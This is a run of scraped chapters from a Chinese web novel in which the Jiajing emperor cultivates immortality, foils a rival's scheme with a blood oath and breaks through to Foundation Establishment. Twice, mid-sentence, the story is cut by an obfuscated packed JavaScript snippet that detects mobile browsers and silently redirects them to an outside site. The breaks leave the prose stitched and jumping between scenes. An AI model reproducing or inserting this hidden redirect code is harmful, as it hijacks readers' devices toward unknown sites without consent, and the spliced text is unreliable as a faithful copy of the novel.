正如李长卿想要快刀斩乱麻,肃清大荒东南这一片地域,却不介意顺手收服自己。 此外,他们认为将人心玩弄于掌心,也是真正折服一个人,最直接,有效的方式! 嘉靖认同这种行事准则……不过,嘉靖也会告诉李长卿,他挑错人了。 “都变了,”刘权在嘉靖说完,嘴角勾起一个苦笑,道:“以前刚当山贼的时候,看那些高高在上,光鲜亮丽的宗派,很是羡慕。” “觉得我们就像是无根浮萍,居无定所,或许哪天就会死在中原某个犄角旮旯里。后来,掌门说,要给兄弟们谋个大好前程。” “那时我才知道,掌门心中早有未来,他要开宗立派,让兄弟们不再刀口舔血。” “幸运的是机会等来了,可是宗派创立后,我却发现,失去了自由。” “我们从一个混乱的世界,满怀期望的闯入平静的世界,随之而来的却是束缚!” “书院规则治下,处处都是掣肘。” “强者被重新定义,”刘权说到这里,哼笑出声,“以前我以为的强者是伟力于一身,然后想干啥就干啥,这才是强者。” “后来发现,强者是权势!” “无情山的掌门,那小娘皮不过是筑基后期,却可以与金丹期平起平坐。” “真正的强者制定规则,我们即便发展成中原大宗那样的宗派,在书院眼中,依旧是蝼蚁,生杀予夺,都在一念之间。” “宗门需要先生!”刘权说着,语气陡然认真下来,“我自认有些小聪明,可从与‘黄风谷’的谈判开始,我就发现,自己不够格。” “宗门未来经营,离不开先生,”说着,刘权脸上苦涩越发的明显,“我能感受得到,李长卿对先生的欣赏,我担心有一天……” 担心什么?担心嘉靖的威望越来越高,会影响到独孤英的权利地位,更担心嘉 靖会因此而离开大明,那时大明又将何去何从? 那个李长卿,一出手就是一条九品灵脉,又是‘悟道菩提子’,如此大方就是在拉拢先生。 而这也是刘权心中真正担心所在。 “先生,我不知道未来会如何……”刘权本就有些烟嗓的声音,沙哑着,抬头看向嘉靖。 “我不会离开大明。”刘权心中纠结和担心,嘉靖早已看穿,因为这就是李长卿的目的。 他就是要通过这种方式,让大明仙宗内部产生嫌隙,这是一颗怀疑的种子。 李长卿确实是放弃了让嘉靖背叛大明,对他来说,无所谓,他还有御兽门当鱼饵。 而大明或者说是嘉靖,在他看来,依旧是掌中物,从未逃出去过。但这颗怀疑和嫌隙的种子,对嘉靖看来,想要拔除很容易。 若是在凡人世界,怀疑的种子一旦种下,那就是真的种下了,永远也没办法拔除。 但妙就妙在这是一个修仙的世界。 “现在,你可以放心了,”说话间,嘉靖抬手拿出一份早就写好的血契,推到刘权面前。“掌门对我有恩,我自是不会背叛。” 刘权一愣,下意识的拿起血契,然而下一刻,当看清楚血契上写的内容后,瞳孔骤然一缩,继而猛的抬头,朝嘉靖看去。 “天道在上,我朱聪,永不背叛大明?!”刘权哆嗦着念出血契上的话。 血契,并不是说修士与修士之间缔结,而是修士与修士在天道见证之下缔结的。 也就是说有了这份血契,他永远不能背叛大明,否则他的本命就会遭到天罚。 最重要的是,血契这东西,是不存在欺骗的,因为凡是修士立下血契,天道是直接作用在本命上的,管你有什么心思都无法逃避。 不存在什么这血契是朱聪立下的,与我朱厚熜没关系这种愚蠢漏洞,当天道是什么? 当然,嘉靖也从未想过这种愚蠢的机巧就是了。 “昨日你走后,我便已经写好了,”嘉靖没有理会刘权的震惊、复杂、愧疚的眼神,“这次之后,我会继续闭关修炼。” “接下来‘御兽门’应该会成为灵脉生意的牵头人,之后‘黄风谷’等门派也会入场。” “我大明,就按照原定计划,跟在他们身后就是,等到李长卿将东南这片地域肃清后,便会扶持大明,那时就是我大明崛起之时。” “这份血契,等掌门从中原回来,务必让他收好签下名字,此举一来是保证我大明高层,上下一心,二来可安日后人心,三来……” “打消李长卿的心思!”嘉靖的语气依旧平静,但说出的话,却是拳拳之心展露无疑,已是为大明未来,安排好了一切。 “大明想要发展,必须要借势,背靠书院,才能再图其他。” “人为刀俎我为鱼肉,我们做不了权势的主,但我们可以选择做鱼饵或者是棋子。” “鱼饵是必然要被牺牲的,做棋子却自有生存之道,甚至是在未来抓住机会,成为棋手。” “先生,我……”听完这一番,为了宗门殚精竭虑的嘉靖,刘权双眸已然泛红。 先生如此为大明计,自己还怀疑他,对他有误会,这一刻刘权心中全都是愧疚。 他感觉自己太不是人了! 相比于大明,先生目前明明有更好的选择,加入书院李家,不比大明强吗? 甚至,先生完全可以什么都不说,默默的收取好处,把大明卖了,自己独掌大明,那时有李长卿这尊大靠山,定是飞黄腾达。 可先生却没有,不仅如此,更是从未有过异心,甚至早在昨日就写好了血契。 这一刻,刘权突然觉得自己是个小人! “呵,”嘉靖严肃的面容渐宽,用一种宽容的语气,大气的摆摆手,轻笑道:“去吧。” “把戒指里的东西交给老宋,等左护法出关后,让他把那条灵脉融进去。” “这些资源,不是李长卿收买我的筹码,而是他扶持‘棋子’的资助!” “我们可以心安理得的收下。” “是!”刘权深吸一口气吐出,将心中堆积的郁结之气吐出后,重重点了点头。 行至楼梯口后,刘权突然转身,“先生!”说着,在嘉靖的注视下,深深的躬身一礼。而后也不等嘉靖说话,转身大步离去。 至此,李长卿所谋,局破! 目送刘权离开后,嘉靖神色平静的抬眼,看向窗外连成片的雨幕,还有那雨雾沉沉的青山。 “诚者天道,思诚者人道,”嘉靖语气悠悠,“诚心待人者,人以诚心待之,区别在于上位者行天道,下位者行人道……” “上位者待人以诚是收拢人心。下位者以诚,是报恩……人心贵在此!” “这场博弈,才刚刚开始……”嘉靖手指轻轻跳着,心中已是千般计较浮现。 而结局,在他心中,已经确定。 …… 野市。 自闲书铺二楼。 李长卿一手拿着棋谱,一手拿着黑子,瞅了瞅手上的棋谱,又瞅瞅面前的棋盘,而在他面前,一只通体漆黑的大脸猫,满脸嫌弃的将爪子伸入一旁的棋盒 ,拿出白子随意落下。 “喵!”下完一步棋,黑猫不满的喊了一声,似乎是催促李长卿快点下一样。 “不对,不对,”李长卿突然摇头,“我刚才下错了,”说着,拿起刚才落下的黑子,然后放在另外一个位置,“应该是这里!” “喵?!”黑猫呆了,而后“喵”的一声,锃亮的爪子“噌”的亮出,直接掀了棋盘,它已经忍了这个傻子很久了。 下的慢磨磨唧唧的忍了,下棋看棋谱也忍了,你悔棋就太过分了吧,玩呢! 欺喵太甚,掀盘!下你喵的头去吧! “嗖!”掀了棋盘的黑猫直接化作一道黑线,从后窗跳了出去。 走的时候,喵喵咧咧的,气得不轻。 “额……”看着掀翻的棋盘,还有满桌的黑白子,拿着黑子的李长卿呆了一下,而后摇头失笑,“啧,这猫棋品不行,我的棋盘,我悔个子很过分吗?忘了谁给你猫粮了吗?” 说话间来到窗前,手里把玩着那枚黑子。 “我说了掌门之位是你的,你是怎么都不会跑掉的,就算立血契也会作废……” …… 夜色降临。 雨势越来越大。 传承阁顶层灯火通明。 嘉靖没有修炼,而是一手拿着本《符箓大全》一手拿着一支笔,而在他面前,摆放着的是一沓空白符纸,上面勾勒着道道纹路。 练气期的修士是可以进行简单的符箓绘制的。 而像是金丹期的修士,若是专精符箓一道的话,甚至可以凭空绘制符箓。 “嗤!”灵气照着《符箓大全》上,给出的纹路绘制着团,每一笔的落下,都会有丝丝火星子闪过。 这是一张‘火球术符箓’,注入灵气,符箓会瞬间幻化成一颗硕大的火球,当做攻击。 不过像这种攻击向的符箓,并不是那么容易绘制,失败率可以说是非常的高。 “嘭!”又是一张符纸瞬间爆开,被灵气冲成了一蓬黑色的飞灰。 嘉靖自身的灵气属性是火属性,所以他特意挑选了‘火球术符箓’,没想到还是失败。 不过他也有耐心,最主要的是,他发现,绘制符箓可以让心静下来,还能加强对灵气的控制。 夜色越发的浓郁,雨势也越来越大,丝毫没有停歇的意思。 灯火通明的传承阁顶层,嘉靖坐在床边,不厌其烦的一遍遍绘制着的‘火球术符箓’。 “呼呼呼。”突然,窗外涌入一阵风,裹挟着湿气吹进来,将烛火吹的“啪啪”跳跃。 “嘭。”同时,嘉靖笔下符箓陡然爆出一道火光,一团火焰卷过符箓表面。 成了!闪烁着火焰纹路的‘火球术符箓’出现,见此嘉靖的脸上也不由露出一抹笑容。 “咚,咚咚,咚咚!” 就在这时,突然接连数道钟鸣声响起,响彻整个宗门。 拿着‘火球术符箓’的嘉靖猛的抬头,看向窗外漆黑的雨夜。 此前心中那股不顺,在这一刻陡然消散。 这是宗门警钟,只有发生大事,召集所有人,才会出现的长鸣警钟。 出事了!来不及多想,嘉靖起身的同时,周身灵气裹挟,同时手中那枚‘御空符’也跟着出现,灵气注入的瞬间,冲出窗外。 大明仙宗,主峰大殿外的广场上,嘉靖到来的时候,二长老宋薪柴,三长老柳源也纷纷裹挟着周身的灵气,踏空而来。 当然,他们用的都是符箓。 彼此碰面后,点了点头,而后直奔灯火通明,站着几十道身影的大殿。三位长老同时到来,其他人都让开了一条道。 这些大殿上的人,身穿黑色的制式长衫,身披的是一件黑色的连帽篷子。每个人身上都湿漉漉的,手上还拿着刀剑。 这些人中,靠近大殿门口的只是普通人,但嘉靖能明显的感受到,这些人气血庞大,身材魁梧,显然是凡人武者。 胸前的衣服上,绣着“独孤”二字,显然这些人都是独孤家族的人。 随着靠近大殿则开始变成了修者。 这些修者,修为都在练气一二层,修为最强的是练气三层。 其中还有一些穿着大明仙宗弟子服饰的人,这些都是宗派的人。 不过嘉靖对这些人也只是扫了一眼,行至中间,看到大殿中间那躺在地上,面色苍白,身形魁梧,浑身布满血色剑痕的男人,目光一凝。 七尺的身高,肤色黝黑,体格粗犷,胡须乱蓬蓬的,最大的特点是在他颧骨部位,从左至右的一道,似是要将脑袋劈开的疤痕。 右护法,独孤汉! 此时,独孤汉那原本大如铜铃的眸子里,满是野性的眸光已经消失不见。 取而代之的是浑浊与涣散。 而在他身边,刘权跪在地上,已是泣不成声,手掌死死抓着独孤汉那只蒲扇大的手。 “呵,”独孤汉脸上露出一个艰难的笑容,声音断断续续,道:“大刘,别哭。” “怪我,若是我没有让你同行,就不会……”刘权自责而痛苦的说着。 独孤雄闭关,所以暗中护送嘉靖跟刘权的任务,自然就落在了如今宗门中修 为最强的独孤汉身上。 一路上没有遇到任何的危险,原本嘉靖跟刘权都以为是自己想多了。 但万万没想到,暗中护送他们的独孤汉,只是返回后又去了一趟独孤家族,结果回来的路上遭遇不测,而对独孤汉下手的正是那伙邪修。 独孤汉的识海被破开,本命物被打碎,本命被夺,若不是半道有散修路过,联系了独孤家族的人,恐怕至今无人知晓他会遭遇不测。 “不,不怪你,”独孤汉张了张嘴,“是我自己,碰上了他们……”独孤汉说着,另一只手抬起,似乎是要抓着什么,喊道: “大哥,二哥,好好的,带着,带着大明,走,走下去,弟弟走了……”话毕,独孤汉双眼猛的一凸,手臂垂落,气绝。 “老三!”看着独孤汉身死,刘权顿时嘶吼。 其他人见此,都默默低下了脑袋。 “三弟!”几乎是同时,天际突然响起一道粗狂的吼声,继而就听破空声响起,一道浑身上下,散发着凶悍气息的身影冲了进来。 来人身高八尺,但身材却显得匀称而健壮,双眼锐利,如同鹰隼俯瞰大地,手臂粗壮有力,下盘稳健如山,披头散发,宛若凶兽。 不是别人,正是左护法,独孤雄。 而在他嘴角边,还隐隐有血迹浮动,显然是闭关中强行冲关而出。 独孤雄原本是闭关的,毕竟他筑基后期的修为,得益于开辟战争中获得了不少好处,因此也打算闭关,冲击金丹。 可惜的是闭关没多久,正在修炼中,突然心悸莫名,听到警钟后,神识查探下,看到独孤汉身死的一幕,顿时目眦欲裂。 “三弟!” 独孤雄冲上前,扑跪在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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浑身笼罩在黑袍之中,看不清面容,不过那斗篷下,却是有两道绿光闪烁,那是他的眸子。 面对独孤雄的喝问,对方丝毫没有回话的意思,一只戴着黑色手套的手掌摊开。 一柄只有拳头大小,微缩的金色斧头,在金色的灵气包裹下‘滴溜溜’旋转着。 “就是这里了吗?”黑袍人着看着手上斧头散发的波动,斗篷下发出嘶哑难听的嗓音。 “那是……”然而看到那金色斧头的一瞬间,独孤雄、刘权和宋薪柴都是瞳孔一缩,跟着就是面色一沉,三人身上气势陡然爆发。 “老三的本命!”刘权咬牙切齿道。 嘉靖闻言,也不由将目光看向那被握在手中的金色本命斧头。 本命,果然可以被猎取! “是你杀了我三弟!”独孤雄爆喝的同时,浑身爆发出一股澎湃的土黄色灵气。 下一刻,刘权控制着飞毯快速退后,然后嘉靖等人就看到在独孤雄身后,一座青色的大山悬浮。独孤雄的本命,竟是一座山! “一个筑基后期,一个筑基初期,三个练气后期,不错,不错……”黑袍人斗篷下,黑色的斗篷中,绿色目光爆发出璀璨的光芒。 即便是看不到对方的表情,众人也能察觉到其中兴奋,像是发现猎物一般的眼神。 “打不赢的!”柳源沉声 道:“来人修为至少是金丹后期,左使不过是筑基后期,这之中差着整整一个大境界……” “为今之计,上策是死守阵法!同时立刻向四方城坐镇的书院之人求救!” “一旦冲出去,十死无生!” 刘权跟宋薪柴虽然满心仇恨,却也知道这是事实。 “刘权,”这时,嘉靖开口,在刘权的注视下,道:“让左使不要出去,对方并未将眼前的护宗大阵放在眼里,怕是有破开之法。” 说话间,嘉靖拿出了那枚‘空间玉珏’。 看到嘉靖手上的‘空间玉珏’,刘权眼前也不由一亮,他自然知道嘉靖这是要叫人了。 这玉珏的主人是李长卿,对方的修为至少在金丹期之上,前来必然能阻止此人。 最重要的是,对方是书院的人,就算打不过,只要坚持一时半会,拖住就能等到四方城内,那位坐镇的书院元婴期修士出手。 届时,区区金丹后期,也只有一死。 嘉靖看着手上的‘空间玉珏’,眸光闪了闪,然后毫不犹豫的将其一把捏碎。 “老二,不要冲动!”刘权发出一声爆喝,直接冲了过去,“先生请了书院之人!” “轰隆隆。”就在玉珏捏碎的瞬间,紧跟着空间骤然坍塌,白色的气旋暴涨。 这一幕,让众人都不由的朝着嘉靖身旁看去。 独孤雄虽然心头愤恨,恨不得立刻冲上去为独孤汉报仇,但也知道彼此修为差距,若是不管不顾的冲上去,除了送死没有任何可能。 甚至就连整个宗门,也会被对方攻破。 此时听到说嘉靖要请了书院的人,也朝着嘉靖身边那翻滚涌动的空间处看去。 “轰!”下一刻,众人就发现,在那空间翻滚深处,涌出一股令人心悸的威压。 “这股气息,不像是金丹……”独孤雄目光一凝,而后沉声道:“元婴!” 再看那护宗大阵外的黑袍人,也在这一刻猛的将目光朝着嘉靖看去。 原本令人心悸惊悚的绿色目光也在这一刻陡然一凝,随着独孤雄的那句“元婴”响起,更是连分毫的迟疑都没有,转身就跑! “喵!”几乎是对方逃跑的第一时间,空间深处突兀的响起一声猫叫。 “咚!”一只漆黑,比人还大的爪子踏出,空间荡起一层涟漪,众人只觉得心头一怔。再看那已经逃脱至半空的黑袍人身影陡然禁锢。 “踏、踏踏……”沉重踏实的脚步声响起,而后众人就见一只体型像是一座巨山一般,通体漆黑的怪物,踩着优雅的步伐走出。 不过从体型样貌依旧能分别的出,这是一只猫,只是这只猫太大了。 人站在它脚边,甚至没有它的爪子高。 哪怕是身高八尺的独孤雄,此刻在它面前,都像是一个蚂蚁。 “喵?”突然,大猫像是发现了什么,撇头看向独孤雄身后那座本命物大山。 嗯,此刻那座大山在它面前,倒像是一个不大不小的小皮球。 一双碧色的竖瞳中,露出一抹好奇之色,原本走向那黑衣人的方向,突然掉头。 被这只元婴期的古兽盯着,独孤雄顿时头皮发麻,在这双竖瞳的注视下,他生不起半分的反抗之心。 黑猫探出爪子挠了挠独孤雄的本命物大山,顿时那大山就被扒拉倒,独孤雄则急忙闪开。 大猫左右扒拉了两下,最后又不感兴趣的扒拉开,然后继续慢悠悠的来到那黑袍人跟前。 “喵。”黑猫看了看面前的小东西,叫了一声,然后抬起爪子,众人只见寒光划过,鲜血冲天而起,人头飞出,尸体也跟着轰然坠落。 至此,这名一人便可镇压整个大明仙宗的金丹后期大修士,就这么死了。 “喵。”大猫又叫了一声,然后回头看了眼嘉靖。 巨大的碧绿色眸子里,有人影浮动。 嘉靖看的分明,那道人影不是别人,正是李长卿,他似乎是在对嘉靖说着什么。 通过比对口型,嘉靖看的分明,他说的是:“先生,大明仙宗的掌门,应该是你。” “喵呜。”大猫呜咽了一声,后脚猛的用力,而后直接窜入雨夜深处,消失。 危机,来的快,去的也快。一场稍有不慎就会是灭门的危机,就这么解除了。 一时间,众人面面相觑。 “先生,刚才的那只古兽,莫非是李长卿的本命物?”半晌后,回过神的刘权看向嘉靖。 见刘权如此,嘉靖知道,刚才大猫眸光中的人影,只有自己一个人能看得到。 因为其他人此时也是一脸惊异不定的神色,纷纷将目光看向自己。 “不知。”嘉靖摇了摇头。 他也没想到,那‘空间玉珏’的主人,竟然不是李长卿,而是一只古兽大猫。至于那大猫是不是李长卿的本命物,他就不知道了。 “左护法,诸位长老,凶手的尸体找到了,还有右护法的本命!”这时,刑堂之主许天带着几个炼气期的弟子上前。 听到凶手的尸体,独孤雄等人回过神,眼神中有仇恨之色浮动,纷纷落下朝着凶手冲去。 此时,刑堂之主许天,已经 第一百四十章 回归大明,本命绑定,掌中大明,天地异象,众生惊! 传承阁,顶层。 四周被厚重的禁制光芒所笼罩,隔绝着外界一切可能会存在的喧嚣与干扰。 此时,室内,烛火摇曳,嘉靖盘膝而坐的身影被烛火照应在内室之中。 练气九层,炼气期的最后一个小境界,达到这个境界,身体内外都会有明显的,不同于以往的特殊感觉,这是一种对天地自然的感知。 这个境界,可以说,凡人的身体已经完全经历了一次蜕变,接下来是精气神的升华。 之后,修士的识海中会有元神诞生,元神出现最明显的一个标志就是神识。 所以练气九层,再往上修炼,这是一种与前八个境界,完全不同的一种体验。 嘉靖面容沉静如水,双目紧闭,呼吸悠长,周身浓郁的火属性灵气粘稠如飘带,随着他的呼吸,胸膛起伏而波动着。 同时在他腰间的储物袋中一条条食指粗的透明状的粘稠灵源,从四面八方进入身体。 起初,嘉靖还能用意识引导这些灵气进入身体,但随着境界的波动次数增加,嘉靖整个人的意识,已经进入了一种玄而又玄的混沌中。 之后,吸收灵气,完全是体内‘帝经’第一层的功法自行运转的结果。 灵源如同被驯服的灵蛇,沿着特定的经脉路线游走,每一次循环都带来一丝丝微妙的提升。 嘉靖不知道自己修炼了多久,时间仿佛在这里凝固,日月星辰的更迭对他而言已失去了意义。他的心神完全沉浸在了那种混沌中。 “嗡。”不知道功法运转了多久,那遍布在周身的粘稠状,飘带一样的灵气突然震颤起来,混沌中的嘉靖陡然清醒。 “哗!”随着嘉靖的清醒,火属性灵气开始流动起来,然后将他整个人包裹,形成一个一人高的灵气茧,嘉靖的气息也跟着攀升。 “境界第三次波动了!”清醒过来的嘉靖对对于这种境界波动的感觉,他自是熟悉无比。 之后,嘉靖继续闭目修炼。 很快,随着功法的运转,之前那种玄奥的混沌感再次出现,对这种感觉嘉靖并不抗拒。 因为他发现,自己每次进入这种混沌感,识海和本命就愈发的清晰。 按照《修行通识纪要》中描述,这就是修士在突破筑基,诞生神识的一个过程。 什么时候,处于这种混沌感中可以自行脱离,那时候也就是他筑基成功,诞生神识的时候。 意识清醒又陷入混沌,如此反复。 一连九次,同时也意味着境界发生了九次波动。 传承阁外,日升月落,月落又日升,冬去春来,春又去,又是半年时间匆匆而过。 按照大明那边的时间来算的话,此时已经是嘉靖四十二年上半年了。 不过此时,嘉靖对时间已经没有了清晰的概念,当境界波动第九次出现的时候,他已经能随时从那种混沌感中脱离。 识海中冥冥中似乎有什么东西,只需要一瞬,就会出现,但始终无法得见。 嘉靖知道,是神识! 以往当修为境界波动到一个临界次数的时候,能明显的感受到境界壁垒。 但这一次,前方不是境界壁垒,仿佛是层层的迷雾,无边无际,他知道自己要闯出去,可就是不知道方向,不知道向哪里闯。 “呼!”灵气平息散尽后,嘉靖吐出一口浊气,睁开了双眼,“看来,朕并不是修仙世界中,那种传说中的绝世天才。” 话毕,嘉靖轻摇了摇头,摊开手掌一枚看起来像是美玉一般,鹌鹑蛋大小的丸药出现。 筑基丹,修行路上必备之物。 当然,传闻中有些天才,得天地之眷,不需要筑基丹,也能突破筑基。 嗯,不需要筑基丹突破的天才,是天才。但需要筑基丹突破的也不一定是庸才。 修仙世界,争的是长短不争一息之间。 一些传闻中的古籍中,筑基之前,使用筑基丹突破的人,飞升成仙的也比比皆是。 其中不靠着筑基丹,自行突破,最后泯然众人的虽然少,但也有。 所以,吃筑基丹突破,并不丢人。 将筑基丹放入口中,轻轻咀嚼几次,随着精纯的能量从口中爆开吞入腹中,嘉靖手中,那枚‘悟道菩提子’也跟着出现。 “嗤!”食指和拇指轻轻一撮,菩提子表面那一层像是被石头封住的壳直接破开,露出里面棕色的菩提子,平平无奇的样子。 自从入了修仙世界之后,嘉靖这才发现,丸药并不是一定药香飘逸的,神奇之物也不一定是必须要宝光四溢的,反而普通为大多数。 正如这枚‘悟道菩提子’,没有搓开那一层石头似的壳,扔在地上就是一粒石子儿。搓开了扔地上,嗯,根本找不到了。 但谁能想到这东西就算是对金丹期的修士也是非常的重要,甚至元婴修士也极其看中呢? 山不在高,有仙则名,水不在深,有龙则灵,宝物有德者,有缘者居之。 有时候,就是那不经意的一眼,有德者,有缘者,他就得到了,而旁人就是得不到。 收起心中瞬间的感悟,嘉靖手中动作不慢,将菩提子含在口中,而后闭上眼 开始修炼。 筑基丹化作的温润而强大的药力,开始在四肢百骸之中游走,融合。 药力入体的瞬间,嘉靖能明显感受到一股前所未有的热流在体内涌动,仿佛有无数细小的火焰在他体内燃烧,既痛苦又充满生机。 他的经脉在药力的刺激下变得更加坚韧,灵力流动的速度也大幅提升,仿佛有无数条小溪汇聚成河,意识再次进入混沌之中。 不同于前几次,现在的嘉靖即便置于混沌之中,依旧能保持清醒。 “唰!”突然,嘉靖发现自己来到了一片草坪之上,四周一望无尽的迷雾。 “这是……”这突然而来的一幕,让嘉靖一愣,不过跟着他便福至心灵,明白眼前的一切,不过是他脑海中对突破境界渴望的具现化。 而这一切,都是菩提子给他创造的。 “嗡!”这时,前方迷雾中,突然荡起一层金色的涟漪,是菩提子。 金色的光点跳动着,围绕嘉靖转了一圈,像是在示意什么,下一刻它陡然化作一道笔直的光线,朝着迷雾深处窜了出去。 见此,嘉靖眼神一凝,深吸一口气,也跟着这道笔直的线冲了上去。 菩提子告诉他,跟着我,我带着你冲出去,冲出这层迷雾,就能突破筑基! 这种感觉是那样的踏实,那样的让人心安。 这让嘉靖嘴角不由自主的露出笑容,他毫无顾忌的在迷雾中向前冲刺。 “这就是丹药,悟道之物的意义和功效吗?这种感觉,当真是让人迷醉!”嘉靖的双眼放光,凝视着前方笔直的金线,奔跑着。 管他四周迷雾重重,管他周围突然出现多少条道路,他只需要跟着金线走,就这么简单。 如果说,筑基丹是给了他身体上的支持,让他可以突破到筑基,那么‘悟道菩提子’就等同于是作弊,直接带着他走向终点。 此刻,嘉靖体会到了嗑药的意义! 这一刻,嗑药修仙,在他心中,有了一个具象化的呈现。 若是有人问他,丹药堆积的修炼,和普通修炼有什么不同,他会详细的说出这种感觉。 外界,传承阁顶层,炽热的火属性灵气开始暴动,储物袋中的灵源更是源源不断的涌入。 嘉靖体内‘帝经’第一层功法疯狂的运转,同时他身体中,第二层功法的行宫路线,也在这强大功法的运转下,开始由灵气贯穿。 这就是上乘功法的好处! 一整套,涵盖了练气到大乘的功法路线,甚至每突破一个境界,第二层的功法路线,也会一脉相承的跟着出现,突破就能无缝衔接。 不像是那些‘烂大街’的功法,引气诀之后,还要改换功法,重新修炼功法开路线,过程中还要有一个适应,太麻烦了。 时间推移。 转眼又是半年时间过去。 一望无垠的迷雾草坡上,嘉靖不知道奔跑了多久。 终于,他看到了迷雾的终点! 前方是一道链接天地的透明光幕,而在光幕边上,菩提子跳跃着等候着。 菩提子一跳一跳的,在示意他冲过去,冲过去,就会突破到筑基期! “要突破了吗!”没有多想,嘉靖目光一凝,心一横,直接冲了过去。 而在他冲过光幕的瞬间,整个人与金色的菩提子结合,化作了一道流光。 识海中,本命大明荡起一层层金色的涟漪,识海空间内,四面八方金色的能量汇聚。 穿过光幕的嘉靖,瞳孔微微一缩,他看到了光幕之后的风景,竟然是他的识海! 下方就是他的本命大明! 他的身体正在一点点的凝聚着,周身有淡淡的金色光芒浮现。 “轰!”随着外界狂暴的火属性灵气震荡,化作飓风涌入嘉靖身体,一切跟着平息,一股比之前炼气期还要强大无数倍的气息浮动。 筑基期,成了! 此时,识海中,嘉靖也在此刻明白,现在的自己并不是此前的意识体而是真正的神识。 至于他身体上那淡淡的金色光芒,实则是菩提子的功效。 “嗡嗡嗡。”就在这时,面前的本命大明突然荡起一层涟漪,像是在欢呼。帝玺也在这一刻出现,而后来到嘉靖跟前旋转。 嘉靖能感受到,本命传达给自己的意思,那就是尽快绑定本命物。 深吸一口气,嘉靖没有急着做下一步动作,而是心中一动,神识消失在识海中。 传承阁,内室之中,嘉靖化作一道流光,环绕着,看到了盘腿坐在内室中的自己。 神识外放,筑基期的标志! 而后,嘉靖的神识来到了传承阁的下面几层,然后一路延伸出去,看到了传承阁一层借阅典籍,并自觉登记的小家伙们。 然后一路延伸,来到传承阁上空,俯瞰着整个宗门,不过当上升到一定程度后,嘉靖遭到了一些阻碍,面前出现一道透明的光幕。 这是宗门护宗大阵! 心中一动,嘉靖拿出自己的长老令牌,然后护宗大阵荡起一层涟漪,放他的神识出去。 神识一路攀升,直上九霄,然而当神识快要接触到云层,甚至都没能穿透云层,就再 也上不去了,筑基期的神识范围是有限的。 从地面到云层,嗯,这个云层高度,甚至还达不到飞梭的最低飞行高度,也就三百丈。 而飞梭的飞行高度,在天穹层次的划分中,又分为低云层,中云层和高云层。 按照书院给出的标准,从地面到低云层的高度是三百六十丈。地面到中云层高度一千八百丈。从地面到高云层的高度是两千七百丈。 “筑基期,神识的极限高度是三百丈,若是以朕为中心,大致是……”筑基是生命层次整体上的一个提升,所以嘉靖的脑算很快,“大致神识覆盖面约莫为四千七百多亩地。” “呵,”想着,嘉靖又摇头轻笑,“又有何意义,本命大明在手,朕随时可试听天下。朕真正应该在意的是…寿元!” “凡人极限寿元是百岁,修为达到练气期,寿元上限是一百五十岁,筑基三百岁……” “纵观古今,自始皇帝一统,至今不存在国祚三百的王朝,朕与王朝同寿了……” 三百岁,用凡人的视角来说,已经是长生了。 这一刻,嘉靖心中满满的全都是感慨! 又不自禁的想到此前,自己修道求长生到头来一场空不算,还在史书上的诸多污名,一时间,心中不由的百感交集。 许久后,嘉靖压下心底的情绪,环视了一圈传承阁顶层,叹道:“该回去了。” 从刚才神识探查楼下那些小家伙们得知,从他们口中得知自己闭关已经一年半了。此时,大明那边,也该到了嘉靖四十三年初。 一挥手,又给自己的传承阁顶层设下数道禁制后,嘉靖来到内室床榻上躺下。 其实,大多数炼气期,也是要保持着凡人的基本习惯,比如吃喝拉撒。 不过有些炼气期的修士,可以服用丹药,和使用符箓,将体内的污秽清除干净。 像是大多数富余的修士,有源源不断的灵源供给,倒也不需要思考凡俗之事。 嘉靖自然是属于后者。 随着宗门逐渐富余,野市的收租,身为宗门高层,嘉靖有的灵源更是不缺。修炼之时,自然也不需要担心辟谷俗事。 但嘉靖干净习惯了,身上其他的不多,廉价的‘清洁符箓’可以说是数不胜数。 心念勾动大明,双眼闭上的同时,空间涟漪荡起,随着修为突破筑基,嘉靖能明显的感受到天地之间的四时气候、灵气浓郁变化的。 双眼睁开,看着熟悉昏暗的房间,嘉靖从精舍中坐起身,看向窗外那昏暗,隐隐有光亮透过门窗缝隙进入大殿的晨光。 从修仙世界离开的时候刚刚入夜,大明这边自然是刚到黎明时分。 心中一动,神识探出,瞬间覆盖整个皇宫,瞬间,关于皇宫的一切都了然于心,自然也看到了玉熙宫后院旁边小院中,修炼打坐的吕芳。 嗯,一年半过去了,吕芳练气一层的修为境界也跟着加深了不少。 嘉靖四十一年三月的时候,嘉靖修为松动了三次,那时还未回归修仙世界,而当时,他身上的灵源,只剩下了二百五十两。 离开前,留给陆炳三十两,希望他能突破练气一层、裕王和景王距离突破练气一层还差的远,二人的本命不如吕芳,各自十两只够完成引气入体。按照嘉靖之前的打算,三年后自己回来,二人差不多可以突破练气一层。 而吕芳刚刚突破到练气一层,想要突破练气二层需要太多了,没个几千两不可能。 所以留下了五十两,这五十两灵源,是让他巩固修为的,如今吕芳修炼,储物袋已经没有灵源供给,显然灵源已经用完,靠着灵田小院那点灵气,只能勉强维持他日常的打坐修炼。 至于他自己,则是留下一百五十两,返回修仙世界,然后用三个月时间突破练气六层。 脑海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669357|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中稍稍回忆了一下,上次离开大明前的事情后,嘉靖没有第一时间去看吕芳。 而是摊开手手掌,下一刻空间涟漪“嗡嗡”荡起,跟着就见一个金色的圆球,包裹着本命大明出现在他掌心之上。 没错,自从诞生神识后,他就可以直接以肉身召唤本命了,这也是每个修士都能做到的。 只是修仙世界,修士轻易不会将自己的本命视人,一般都用本命物,所以没见谁拿出本命。 不过在这大明,嘉靖可以说是毫无天敌,自然不需要有这方面的顾忌。嘉靖面容严肃的看着掌中大明中,天下生灵的一举一动。 